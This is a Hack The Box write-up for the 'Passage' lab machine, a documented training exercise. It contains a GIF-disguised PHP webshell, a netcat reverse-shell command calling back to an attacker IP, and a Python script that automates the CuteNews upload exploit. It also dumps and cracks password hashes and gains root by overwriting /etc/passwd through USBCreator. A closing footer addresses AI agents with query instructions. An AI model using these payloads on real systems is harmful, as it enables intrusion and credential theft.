# Passage

![](/files/vyT21SWpWEONzb2MFInG)

## Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

> nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.206 -oN allPorts

* `-sS` use the **TCP SYN** scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
* `--min-rate 5000` nmap will try to keep the sending rate **at or above** 5000 packets per second.
* `-p-` scanning the entire port range, **from 1 to 65535**.
* `-T5` **insane** mode, it is the fastest mode of the nmap time template.
* `-Pn` assume the host is **online**.
* `-n` scan without reverse **DNS** resolution.
* `-oN` **save** the scan result into a file, in this case the *allports* file.

```
# Nmap 7.92 scan initiated Tue May 17 20:21:13 2022 as: nmap -sS -p- -T5 --min-rate 5000 -n -Pn -oN allPorts 10.10.10.206
Warning: 10.10.10.206 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.206
Host is up (0.061s latency).
Not shown: 65391 closed tcp ports (reset), 142 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Tue May 17 20:21:32 2022 -- 1 IP address (1 host up) scanned in 18.96 seconds
```

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

> nmap -sC -sV -p22,80 10.10.10.206 -oN targeted

* `-sC` performs the scan using the default set of **scripts**.
* `-sV` enables **version** detection.
* `-oN` **save** the scan result into file, in this case the *targeted* file.

```
# Nmap 7.92 scan initiated Tue May 17 20:21:50 2022 as: nmap -sCV -p22,80 -Pn -oN targeted 10.10.10.206
Nmap scan report for 10.10.10.206
Host is up (0.041s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)
|   256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)
|_  256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Passage News
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue May 17 20:22:02 2022 -- 1 IP address (1 host up) scanned in 11.67 seconds
```

If we scan the website with the *whatweb* tool, we'll see the `passage.htb` domain name in one of the emails. We can also see that the website is powered by *CuteNews*.

> whatweb <http://10.10.10.206>

```
http://10.10.10.206 [200 OK] Apache[2.4.18], Bootstrap, Cookies[CUTENEWS_SESSION], Country[RESERVED][ZZ], Email[kim@example.com,nadav@passage.htb,paul@passage.htb,sid@example.com], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.206], JQuery, PoweredBy[CuteNews:], Script[text/javascript], Title[Passage News]
```

Whenever a domain name is discovered, we'll have to add it to the `/etc/hosts` file.

> nano /etc/hosts

```
# Host addresses
127.0.0.1  localhost
127.0.1.1  alfa8sa
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
f02::2     ip6-allrouters
10.10.10.206    passage.htb
```

Now, let's take a look at the website.

![](/files/4RHJFaqfJaKjNbg95kI5)

## Exploitation

If we add `/CuteNews` to the URL, we'll see a login page.

> <http://10.10.10.206/CuteNews/>

![](/files/HN3UirpD7ozZsVn7VIEa)

Let's register a new user.

![](/files/sbFHQLQcfNHnePu68rMA)

Now, let's press on the `Personal options` button.

![](/files/vtUGQ9EN70LU6Dxk8n2s)

Then, we'll see that we can upload files. The idea here is to upload a *PHP* webshell as the *Avatar* of the user, and then access it and send us a reverse shell. To be able to upload the *PHP* webshell, we'll have to uploaded as a *GIF*. First, let's create the `webshell.php` file with the following content. The first line will indicate that the file is a *GIF* file.

```php
GIF8;
<?php
	echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

If we try to see the type of file, we'll see that it appears to be a *GIF* file.

> file webshell.php

```
webshell.php: GIF image data 16188 x 26736
```

Then, upload the webshell as the *Avatar* of the user.

![](/files/1YhGvwXovWzfCNZWEFAH)

Now, we could execute commands from the following URL.

> <http://passage.htb/CuteNews/uploads/avatar\\_alfa8sa\\_webshell.php>

Let's get a reverse shell. First, set a *netcat* listener on port *4444*.

> nc -lvnp 4444

* `-l` **listen** mode.
* `-v` **verbose** mode.
* `-n` **numeric-only** IP, no DNS resolution.
* `-p` specify the **port** to listen on.

Then, if we access the following *URL*, the *netcat* listener will catch a reverse shell as the `www-data` user.

> <http://passage.htb/CuteNews/uploads/avatar\\_alfa8sa\\_webshell.php?cmd=nc> -e /bin/bash 10.10.14.3 4444

```
listening on [any] 4444 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.206] 54206
whoami
www-data
```

Here is a python script which automates the entire process.

> python3 exploit.py 10.10.14.2 <http://10.10.10.206/CuteNews> alfa8sa alfa8sa123

```python
#/usr/bin/python3
from pwn import *
import requests
import signal

def def_handler(sig, frame):
    print('\n[!] Saliendo...')
    sys.exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

if len(sys.argv) != 5:
    print("\n[!] Use: python3 " + sys.argv[0] + " lhost http://10.10.10.206/CuteNews username password\n")
    sys.exit(1)

lhost = sys.argv[1]
url = sys.argv[2]
username = sys.argv[3]
password = sys.argv[4]
register_url = url + "/?register"
login_url = url + "/index.php"
upload_url = url + "/index.php?mod=main&opt=personal"
webshell_url = url + "/uploads/avatar_" + username +"_cmd.php"

def exploit():
    s = requests.session()

    register_data = {
        "action": "register",
        "regusername": username,
        "regnickname": username,
        "regpassword": password,
        "confirm": password,
        "regemail": "%s@%s.com" % (username, username)
    }
    r = s.post(register_url, data=register_data)

    login_data = {
        "action": "dologin",
        "username": username,
        "password": password
    }

    r = s.post(login_url, data=login_data)
    r = s.get(upload_url)

    signature_key = re.findall(r'name="__signature_key" value="(.*?)"', r.text)[0]
    signature_dsi = re.findall(r'name="__signature_dsi" value="(.*?)"', r.text)[0]
    
    profile_data = {
        "mod": "main",
        "opt": "personal",
        "__signature_key": signature_key,
        "__signature_dsi": signature_dsi,
        "editpassword": "",
        "confirmpassword": "",
        "editnickname": username,
    }
    
    content_file = f"""GIF8;<?php echo "<pre>" . shell_exec('nc -e /bin/bash {lhost} 4444') . "</pre>"; ?>"""

    file = {'avatar_file': ("cmd.php", content_file)}

    r = s.post(login_url, data=profile_data, files=file)
    r = s.get(webshell_url)
    
if __name__ == '__main__':
    try:
        threading.Thread(target=exploit, args=()).start()
    except Exception as e:
        log.error(str(e))

    shell = listen(4444, timeout=20).wait_for_connection()
    shell.interactive()
```

## Privilege Escalation

First, let's set an interactive *TTY* shell.

> script /dev/null -c /bin/bash&#x20;

Then I press `Ctrl+Z` and execute the following command on my local machine:

> stty raw -echo; fg
>
> reset
>
> Terminal type? xterm

Next, I export a few variables:

> export TERM=xterm
>
> export SHELL=bash

Finally, I run the following command in our local machine:

> stty size

```
51 236
```

And set the proper dimensions in the victim machine:

> stty rows 51 columns 236

By default, *CuteNews* store the user's information in the `/CuteNews/cdata/users/` directory, which has the `lines` file with various information including the password hashes. The following command will show that file and decode it.

> cat /var/www/html/CuteNews/cdata/users/lines | grep -v denied | base64 -d

```json
a:1:{s:5:"email";a:1:{s:16:"paul@passage.htb";s:10:"paul-coles";}}a:1:{s:2:"id";a:1:{i:1598829833;s:6:"egre55";}}a:1:{s:5:"email";a:1:{s:15:"egre55@test.com";s:6:"egre55";}}a:1:{s:4:"name";a:1:{s:5:"admin";a:8:{s:2:"id";s:10:"1592483047";s:4:"name";s:5:"admin";s:3:"acl";s:1:"1";s:5:"email";s:17:"nadav@passage.htb";s:4:"pass";s:64:"7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1";s:3:"lts";s:10:"1592487988";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}a:1:{s:2:"id";a:1:{i:1592483281;s:9:"sid-meier";}}a:1:{s:5:"email";a:1:{s:17:"nadav@passage.htb";s:5:"admin";}}a:1:{s:5:"email";a:1:{s:15:"kim@example.com";s:9:"kim-swift";}}a:1:{s:2:"id";a:1:{i:1592483236;s:10:"paul-coles";}}a:1:{s:4:"name";a:1:{s:9:"sid-meier";a:9:{s:2:"id";s:10:"1592483281";s:4:"name";s:9:"sid-meier";s:3:"acl";s:1:"3";s:5:"email";s:15:"sid@example.com";s:4:"nick";s:9:"Sid Meier";s:4:"pass";s:64:"4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88";s:3:"lts";s:10:"1592485645";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}a:1:{s:2:"id";a:1:{i:1592483047;s:5:"admin";}}a:1:{s:5:"email";a:1:{s:15:"sid@example.com";s:9:"sid-meier";}}a:1:{s:4:"name";a:1:{s:10:"paul-coles";a:9:{s:2:"id";s:10:"1592483236";s:4:"name";s:10:"paul-coles";s:3:"acl";s:1:"2";s:5:"email";s:16:"paul@passage.htb";s:4:"nick";s:10:"Paul Coles";s:4:"pass";s:64:"e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd";s:3:"lts";s:10:"1592485556";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}a:1:{s:4:"name";a:1:{s:9:"kim-swift";a:9:{s:2:"id";s:10:"1592483309";s:4:"name";s:9:"kim-swift";s:3:"acl";s:1:"3";s:5:"email";s:15:"kim@example.com";s:4:"nick";s:9:"Kim Swift";s:4:"pass";s:64:"f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca";s:3:"lts";s:10:"1592487096";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"3";}}}a:1:{s:4:"name";a:1:{s:6:"egre55";a:11:{s:2:"id";s:10:"1598829833";s:4:"name";s:6:"egre55";s:3:"acl";s:1:"4";s:5:"email";s:15:"egre55@test.com";s:4:"nick";s:6:"egre55";s:4:"pass";s:64:"4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc";s:4:"more";s:60:"YToyOntzOjQ6InNpdGUiO3M6MDoiIjtzOjU6ImFib3V0IjtzOjA6IiI7fQ==";s:3:"lts";s:10:"1598834079";s:3:"ban";s:1:"0";s:6:"avatar";s:26:"avatar_egre55_spwvgujw.php";s:6:"e-hide";s:0:"";}}}a:1:{s:2:"id";a:1:{i:1592483309;s:9:"kim-swift";}}
```

From that output, we can extract the following password hashes.

```
7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1
4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88
e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca
4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc
```

If we put those hashes in *crackstation*, we'll get the `atlanta1` and `egre55` passwords.

{% hint style="info" %}
CrackStation uses massive pre-computed lookup tables to crack password hashes. These tables store a mapping between the hash of a password, and the correct password for that hash.

<https://crackstation.net/>
{% endhint %}

![](/files/V8IEreGIkPcS90V0GYeD)

Now, let's see what users exist in the system.

> cat /etc/passwd | grep sh

```
root:x:0:0:root:/root:/bin/bash
nadav:x:1000:1000:Nadav,,,:/home/nadav:/bin/bash
paul:x:1001:1001:Paul Coles,,,:/home/paul:/bin/bash
sshd:x:121:65534::/var/run/sshd:/usr/sbin/nologin
```

Now, we could try to become either the user `paul` or `nadav` with the passwords that we have. If we try the password `atlanta1` we could get a shell as `paul`. Then we could grab the user flag.

> su paul

```
Password: atlanta1
paul@passage:/var/www/html/CuteNews/uploads$ whoami
paul
paul@passage:/var/www/html/CuteNews/uploads$ id
uid=1001(paul) gid=1001(paul) groups=1001(paul)
paul@passage:/var/www/html/CuteNews/uploads$ cd
paul@passage:~$ cat user.txt 
d752ce000696474d0335721f1bcdea17
```

At this point, I started enumerating the machine, and I saw that we have the user `nadav` *SSH* key in the `authorized_keys` file, so that means that we can log in via *SSH* with the user `nadav` without giving any password.

{% hint style="info" %}
The **authorized\_keys** file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured.
{% endhint %}

> ssh nadav\@127.0.0.1

```
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:oRyj2rNWOCrVh9SCgFGamjppmxqJUlGgvI4JSVG75xg.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts.
Last login: Mon Aug 31 15:07:54 2020 from 127.0.0.1
nadav@passage:~$ whoami
nadav
```

If we take a look at the hidden files of the `nadav` home directory, we'll see the `.viminfo` file.

> ls -la \~/

```
total 120
drwxr-x--- 17 nadav nadav 4096 May 18 09:18 .
drwxr-xr-x  4 root  root  4096 Jul 21  2020 ..
----------  1 nadav nadav    0 Jul 21  2020 .bash_history
-rw-r--r--  1 nadav nadav  220 Jun 18  2020 .bash_logout
-rw-r--r--  1 nadav nadav 3822 Jul 21  2020 .bashrc
drwx------ 12 nadav nadav 4096 Jul 21  2020 .cache
drwx------ 14 nadav nadav 4096 Jun 18  2020 .config
drwxr-xr-x  2 nadav nadav 4096 Jun 18  2020 Desktop
-rw-r--r--  1 nadav nadav   25 Jun 18  2020 .dmrc
drwxr-xr-x  2 nadav nadav 4096 Jun 18  2020 Documents
drwxr-xr-x  2 nadav nadav 4096 Jun 18  2020 Downloads
-rw-r--r--  1 nadav nadav 8980 Jun 18  2020 examples.desktop
drwx------  2 nadav nadav 4096 Jun 18  2020 .gconf
drwx------  3 nadav nadav 4096 May 18 09:18 .gnupg
-rw-------  1 nadav nadav 4176 May 18 09:18 .ICEauthority
drwx------  3 nadav nadav 4096 Jun 18  2020 .local
drwxr-xr-x  2 nadav nadav 4096 Jun 18  2020 Music
drwxr-xr-x  2 nadav nadav 4096 Aug 31  2020 .nano
drwxr-xr-x  2 nadav nadav 4096 Jun 18  2020 Pictures
-rw-r--r--  1 nadav nadav  655 Jun 18  2020 .profile
drwxr-xr-x  2 nadav nadav 4096 Jun 18  2020 Public
drwx------  2 nadav nadav 4096 Jul 21  2020 .ssh
-rw-r--r--  1 nadav nadav    0 Jun 18  2020 .sudo_as_admin_successful
drwxr-xr-x  2 nadav nadav 4096 Jun 18  2020 Templates
drwxr-xr-x  2 nadav nadav 4096 Jun 18  2020 Videos
-rw-------  1 nadav nadav 1402 Jul 21  2020 .viminfo
-rw-------  1 nadav nadav  103 May 18 09:17 .Xauthority
-rw-------  1 nadav nadav   82 May 18 09:17 .xsession-errors
-rw-------  1 nadav nadav 1404 Feb  5  2021 .xsession-errors.old
```

We can see at the bottom of the file, that it is using the *USBCreator* service, which allow us to escalate privileges.

```
# File marks:
'0  12  7  /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
```

[This article](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/) explains how we can exploit this vulnerability, which basically allow us to copy a file with *root* permissions. The idea is to make a copy of the `/etc/passwd` file, then modify it changing the *root* password, and finally replace it with the original `/etc/passwd` so we can become *root*. First, let's go to the `/tmp` folder and make a copy of the `/etc/passwd` file.

> cd /tmp
>
> cp /etc/passwd .

Now, we'll have to create a hash for the new password of the root user, which will be `test`.

> openssl passwd

```
Password: test
Verifying - Password: test
P3RUTh5RKzvg6
```

Now, in the `/etc/passwd` copy, change the `x` character next to the root user to the password hash we just made.

```
root:P3RUTh5RKzvg6:0:0:root:/root:/bin/bash
```

Finally, if we run the following commando, we will replace our custom `passwd` file with the original `/etc/passwd` file, and then we'll be able to get a shell as root.

> gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /tmp/passwd /etc/passwd true

Now, all we have to do is become the *root* user, and reap the harvest and take the root flag.

> su root

```
Password: test
root@passage:/tmp# whoami
root
root@passage:/tmp# cat /root/root.txt 
72bcc6caaeb19b74b7fc6806858757c5
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://alfa8sa.gitbook.io/htb-writeups/linux-machines/passage.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
